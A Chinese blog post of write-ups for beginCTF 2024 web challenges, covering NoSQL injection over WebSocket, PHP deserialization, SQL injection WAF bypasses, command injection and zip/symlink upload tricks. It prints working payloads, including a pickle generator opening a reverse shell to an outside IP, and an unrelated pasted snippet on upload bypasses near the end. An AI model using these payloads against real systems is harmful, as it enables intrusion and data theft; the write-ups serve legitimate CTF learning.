beginCTF 2024 Web方向题解WP 全

king

题目描述:李华学习到了sql注入相关的知识,他觉得十分有趣,下去还自己找了一些靶场练手,拿掉几个题之后他信心大增,扬言自己是king of sqli,这时有师傅告诉他不仅有sql注入,还有nosql注入,并出了一道题就取名为kill the king,在经过一些尝试之后似乎这位king要滑铁卢了,这时他再次向你求助,你能帮帮他吗?

hint:

不仅是nosql还是nohttp噢,或许可以看看http之外的流量

这服务器返回的流量长得还挺别致,抓个字段搜搜看?

image-20240206055340097

这题是nosql注入,NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。

nosql注入的数据库一般是MongoDB ,MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

hint有提到nohttp、流量,这题我们注意WebSocket的流量。

image-20240206104713513

什么是WebSocket?

WebSocket是一种通过HTTP发起的双向、全双工通信协议。它通常用于现代Web应用程序,用于异步传输。经过测试,burp经典版本1.7只支持查看WebSockets History,并不能对WebSocket包进行重放等操作,所以建议大家一步到位直接更新到最新版哦。

HTTP与WebSocket有什么区别?

从传输模式上就有区别,HTTP是只能由客户端发出请求,然后服务器返回响应,而且是立即响应。而WebSockets是异步传输的,即双方随时都可以向对方发送消息,一般可以用于对数据有实时传输需求的应用程序中。

这题WebSocket+nosql注入,成分还真实复杂呢。

首先看初始WebSocket流量:

To server

{"id":"owcyopkot6","query":{"find":"enemies"}}

To client

{"id":"owcyopkot6","data":{"cursor":{"firstBatch":[{"_id":"65c193592604cb703e632cc1","name":"JACOB DANGERS"},{"_id":"65c193592604cb703e632cc2","name":"MILEON MASON"},{"_id":"65c193592604cb703e632cc3","name":"MACE CAVELIER"},{"_id":"65c193592604cb703e632cc4","name":"OSRIC GRAGOLOON"},{"_id":"65c193592604cb703e632cc5","name":"MOSES STONEWELL"},{"_id":"65c193592604cb703e632cc6","name":"TRISTAN GOSBECK"},{"_id":"65c193592604cb703e632cc7","name":"REDWALD CROMWELL"},{"_id":"65c193592604cb703e632cc8","name":"JEREMIAS PICARD"},{"_id":"65c193592604cb703e632cc9","name":"EGRIC MAIDSTONE"},{"_id":"65c193592604cb703e632cca","name":"ROBIN CURTEYS"},{"_id":"65c193592604cb703e632ccb","name":"DINUS DE REUE"},{"_id":"65c193592604cb703e632ccc","name":"HAREK SEDGWICK"},{"_id":"65c193592604cb703e632ccd","name":"FLORA DAUBERVILLE"},{"_id":"65c193592604cb703e632cce","name":"RAMETTA THE SLENDER"},{"_id":"65c193592604cb703e632ccf","name":"ISEMAY VERNOLD"},{"_id":"65c193592604cb703e632cd0","name":"AVINA CECIL"},{"_id":"65c193592604cb703e632cd1","name":"FANUS THE GREAT"},{"_id":"65c193592604cb703e632cd2","name":"GASPAR SHADOWSEEKER"},{"_id":"65c193592604cb703e632cd3","name":"GOUBERT THE RED"},{"_id":"65c193592604cb703e632cd4","name":"ALDOUS DARCY"},{"_id":"65c193592604cb703e632cd5","name":"RYN THE RED"},{"_id":"65c193592604cb703e632cd6","name":"FULLER CARDON"},{"_id":"65c193592604cb703e632cd7","name":"ANSELM THE OLD"},{"_id":"65c193592604cb703e632cd8","name":"ALVINA BLUETOOTH"},{"_id":"65c193592604cb703e632cd9","name":"MICKNEY  CORVISER"},{"_id":"65c193592604cb703e632cda","name":"RYKOR RAVENSGATE"},{"_id":"65c193592604cb703e632cdb","name":"REYNARD LONGBOW"},{"_id":"65c193592604cb703e632cdc","name":"ALEX TROST"},{"_id":"65c193592604cb703e632cdd","name":"ADAM KUHN"},{"_id":"65c193592604cb703e632cde","name":"STEVE GARDNER"},{"_id":"65c193592604cb703e632cdf","name":"CHASSIE EVANS"},{"_id":"65c193592604cb703e632ce0","name":"STEVEN SHAW"},{"_id":"65c193592604cb703e632ce1","name":"CHRIS COYIER"},{"_id":"65c193592604cb703e632ce2","name":"JHEY"},{"_id":"65c193592604cb703e632ce3","name":"PETE BARR"},{"_id":"65c193592604cb703e632ce4","name":"ZACH SAUCIER"}],"id":0,"ns":"king.enemies"},"ok":1}}

问一下GPT,对味儿了

image-20240206105311492

补一下MongoDB的知识:
Nosql 注入从零到一 - 先知社区 (aliyun.com)

Nosql注入总结 - FreeBuf网络安全行业门户

NOSQL 注入 - bonelee - 博客园 (cnblogs.com)

从零学习 NoSQL 注入之 Mongodb-腾讯云开发者社区-腾讯云 (tencent.com)

MONGODB 的基础 NOSQL注入基础-CSDN博客

什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)

什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)

跟着出题人的思路,我们去MongoDB的官方文档找找线索。

{"id":"owcyopkot6","query":{"find":"enemies"}}

其中的find是MongoDB的一个Commands。

作用是:查询对应的collection。上述代码段应该是查询enemies这一个collection的内容。

image-20240206110722823

文档中还有另外一条命令listCollections,作用是列出所有collection。

image-20240206111205381

payload:

{"id":"Jay17_exp","query":{"listCollections":1}}

image-20240206104354851

发现一个collection名为flag2spztpylm5x,里面应该就是flag。

payload:

{"id":"owcyopkot6","query":{"find":"flag2spztpylm5x"}}

image-20240206104517358

readbooks

开题,三个按钮。

image-20240131133709624

分别跳转到/public/book1/public/book2/list/private

在机缘巧合之下,发现/list/*可以读取所有文件名,/list/b*可以读取所有以b开头的文件名。

image-20240131133851102

/public/*可以读取所有文件的文件内容,/public/a*可以读取所有以a开头的文件的文件内容。这里读取app.py

image-20240131134020754

源码如下。

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

@app.route('/list/<path:name>')
def listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

blacklist.txt同理可以读取,太多了不放了。

允许的字符串有这些,感觉是BASH内置变量RCE,但是又过滤了envecho

image-20240131134921397

过滤虽然多,但是我们可以用base64+转义符绕过。

base64绕过:

ls = `echo 'nHMK' | base64 -d`

转义符绕过:

【对于linux】不对于php

  • cat flag -> ca\t fl\ag
  • cat flag -> ca"t flag / ca""t flag
  • cat flag -> ca’t flag / ca’'t flag

payload:

/public/`'ec''ho'$IFS$9'L19mbGFn'|'ba''se64'$IFS$9-d`

image-20240206054737732

pickelshop

开局三个按钮。

image-20240131142208232

注册时候按钮点击无响应

image-20240131142230772

前端代码阻止了表单提交,相当于禁用了按钮。

image-20240131143149508

image-20240131143134854

模仿前端js语句功能,手动注册。返回了一个pickle。gASVJwAAAAAAAAB9lCiMCHVzZXJuYW1llIwDMTExlIwIcGFzc3dvcmSUjAMxMTGUdS4=

image-20240131142519963

手动加入cookie后,手动登录。

image-20240131142748088

没什么功能。猜测在pickleshop处或者login处,会自动加载pickle。尝试构造恶意pickle。

最后尝试得到login处会加载你的pickle。

image-20240131153920419

恶意pickle(反弹shell)生成脚本:

import pickle
import os
import base64

class aaa():
    def __reduce__(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

生成

gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIpSFlFKULg==

image-20240131154018902

登录一下就反弹shell成功了。

image-20240131154054032

POPgadget

题目描述:真的是签到题!

开题直接给了源码,PHP反序列化

<?php

highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?>

PHP版本7+

image-20240205040156203

链子:

B::__destruct()->A::__get($p)->Fun::__call($f,$p)

POC:

<?php

highlight_file(__FILE__);
class Fun{
    public $func = 'system';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p); //system('ls')
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}


//B::__destruct()->A::__get($p)->Fun::__call($f,$p)

$a=new B();
$a->a=new A();
$a->p='env';  //执行的命令
$a->a->a=new Fun();

echo serialize($a);



payload:

/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}

image-20240205041828672

flag在环境变量里面,找了好久。不知道为什么我这种打法,执行一次环境就宕机得重启。

sql教学局

题目描述:唉 我摊牌勒 这样的教学局 不可能拿不下吧!

image-20240205042033903

不是,真教啊?

image-20240205042058659

说有waf,先用fuzz排查一下waf是什么。

image-20240205042512387

同时还会吃掉orselectfrom,我们用双写绕过。

image-20240205043614787

字段数1

查询库:

99'/**/union/**/selselectect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata#

image-20240205043846017

1、读取secret数据库password表的某条数据

获取password表的字段

99'/**/union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#

image-20240205044125991

拿flag

99'/**/union/**/selselectect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd#

image-20240205044326708

2、读取当前数据库score表,学生begin的成绩(grade)

99'/**/union/**/selselectect/**/group_concat(grade)/**/frfromom/**/ctf.scoorre/**/where/**/student/**/like/**/'begin'#

image-20240205044635008

3、读取/flag

写马到文件:

99'/**/union/**/selselectect/**/loloadad_file('/flag')#

image-20240205205104012

flag:

flag{9c2afc2b-d974-4c8c-8089-c47ab9a8e9f0}

zupload

题目描述:李华师傅最近总是收到外国友人的来信,为了方便彼此的交流,他写了一个压缩包上传项目,现在还在开发过程中,想邀请你对他的网站进行测试,并表示以后要是需要给外国友人写信就包给他了。李华师傅非常聪明,知道项目越大出问题的概率就越大,于是他把还没有实现上传功能的项目发了过来,你能帮帮他找到网站的漏洞吗?

image-20240205051418593

前端判断文件类型。文件类型改成zip绕前端,抓包改回来就行。

image-20240205051830956

emmm,想错了,这题上传功能根本没做好。

image-20240205052130734

一顿分析之后,认为上传功能实现很可疑。get传参应该是执行文件,下图就是执行当前目录下upload.php

image-20240205052211543

目录穿越读取flag。

image-20240205052201035

zupload-pro

题目描述:Dear ctfer,

I hope this email finds you well. I wanted to follow up on the security vulnerability you found in my PHP project. Firstly, thank you for bringing it to my attention. Your help in identifying this issue is greatly appreciated.

I was surprised to discover a security vulnerability in such a small project, especially since the PHP backend is only 15 lines long. However, I have since fixed the issue and implemented a file uploading feature. I would like to invite you to test it out and provide any feedback you may have.

Again, thank you for taking the time to test my project and for bringing the vulnerability to my attention. Your input has helped me improve the security of my project.

Best regards,

Li Hua

OK,这次终于是文件类型改成zip绕前端,抓包改回来就行。

image-20240205052604921

image-20240205052650620

zupload-pro-plus

题目描述:李华吸取了前两次的教训,再次加固了项目,但是他不确定自己的修复方法是否正确,为此,李华给你画了半个饼,说如果还能找出漏洞他将重重有赏。

这次加了后端对文件后缀的校验。

image-20240205052815229

但是后端语句处理时候应该是整个文件名包含字符串zip即可,那就好办,多后缀,最后一个后缀是php就行,这样子就解析成php文件。

image-20240205053152017

image-20240205053158750

zupload-pro-plus-max

题目描述:项目再次被攻破了,李华十分懊恼,为此他打开了php的教程开始学习,使用了新的文件判断方法,并且为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍,也不太懂“能跑就行”的程序员第一法则。尽管如此,李华仍然十分得意,并自信的又给你画了一个饼,你看破不说破,答应继续挖他项目的漏洞。

image-20240205053254515

注意题目描述:为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍

想了半天没啥头绪,突然发现有附件:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

横向对比前后题目,

改动点:if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true)

校验文件内容是不是属于压缩包。

改动点:die(include($_GET['action']));

image-20240205212838196

之前都是file_get_contents读取文件,这边变成包含。可以实现把马压缩成zip然后包含,包含时候自动执行马里面的命令。

image-20240205213950777

image-20240205213959968

zupload-pro-plus-max-ultra

题目描述:李华总算是领会到了程序员第一法则的含金量,他决定不再搞花里胡哨的东西了,把那些的函数又改了回去,并且表示自己非常熟悉命令行,于是用命令行实现了一个压缩包解压的功能,心想这下总不能再出bug了吧?把项目交给了你并又双叒叕给你画了一个饼。

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));

    $allowed = array('zip');

    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

解法一:

注意源码片段,命令执行时候进行了字符串拼接,我们控制了相关字符串就能控制执行的命令,从而任意RCE。

image-20240205225650111

$extract_to 参数是通过http头 X-EXTRACT-TO 传入的,因此控制这个即可。

我们的目标是使得$extract_to的值为

uploads/;tac /flag > /var/www/html/1.txt

抓包改就行了。

image-20240205230005897

把flag写入文件后直接访问

image-20240205230025146

解法二:

软连接的解法。linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)

bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

创建软连接压缩包(–symlinks表示压缩软连接 )

ln -s /flag myflag
zip --symlink 1.zip myflag

image-20240206051943691

上传1.zip。

传完软连接后,访问/uploads/myflag,这里会直接把根目录的马下载下来。

image-20240206052049527

可能有点懵逼,我理理。就是这题上传压缩包后都会解压后放在上传目录。访问被解压文件是直接下载,所以传了马不能直接利用。我这里上传了软连接myflag,指向/flag,访问下载时候指向/flag,直接下载了flag。

zupload-pro-plus-max-ultra-premium

题目描述:李华又来联系你了,但是想起他已经给你画了2.5个饼了,却连一根毛都还没看到,你有些感觉被骗了。李华拍着胸脯说放心这次绝对有保证,如果你找到了项目的漏洞他当场给你九镑十五便士,并以国际名人的名声做担保。

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];

    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));

    $allowed = array('zip');

    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;

                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

命令行不能拼接了,软连接可以继续用。

image-20240206052638467

image-20240206052739982

zupload-pro-revenge

题目描述:李华带着他的revenge来了

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];

    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

文件类型前端校验。和zupload-pro一样。文件类型改成zip绕前端,抓包改回php就行。

image-20240206053238558

image-20240206053231638

zupload-pro-plus-enhanced

题目描述:李华加强了题目(华强)

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);
    $allowed = array('zip');
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0]
                            . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

这次有后端校验了。但是校验的不是最后一个后缀,而是后缀里面有字符串zip即可。和zupload-pro-plus一样。

后端语句处理时候应该是整个文件名包含字符串zip即可,那就好办,多后缀,最后一个后缀是php就行,这样子就解析成php文件。

image-20240206053709199

image-20240206053652775

引用:MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。 它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。 常见的MME类型,例如:   超文本标记语言文本 .html,html text/htm   普通文本 .txt text/plain   RTF文本 .rtf application/rtf   GIF图形 .gif image/gif   JPEG图形 .jpg image/jpeg 上传包含一句话木马的php文件,然后使用burp抓包,修改数据包的content type为image/gif(注意是第二个content type)发送到repeater修改后,点击send,然后放包,即可显示上传php文件成功后的相对路径。使用蚁剑连接该一句话木马即可获得flag。 文件头检查 。 引用: htaccess 查看网页源码,可以看到常用的文件后缀都被禁用。根据题目的提示,.hatccess文件【.htaccess是Apache服务器的一个配置文件。它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。】 前提:mod_rewrite模块开启,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All,配置文件中AllowOverride All (如果可能做题过程中结果出现问题,但步骤正确,可以看看前提是否正确) 。 引用:文件头检验 是当浏览器在上传文件到服务器的时候,服务器对所上传文件的Content-Type类型进行检测。如果是白名单允许的,则可以正常上传,否则上传失败。 当我们尝试上传一句话木马的php文件,出现了正确后缀类型的弹窗。使用010editor制作一张图片木马,上传时使用burp抓包把文件后缀改为php,然后点击send。使用蚁剑连接php文件,即可在对应目录下找到flag。 00截断 。 关于ctfhub的WP,很抱歉我无法提供相关信息。由于ctfhub是一个综合性的CTF平台,涵盖了大量的题目和解题思路,每个题目的WP都有着不同的内容和解法。如果您对特定的题目或解题方法感兴趣,我可以为您提供更多信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值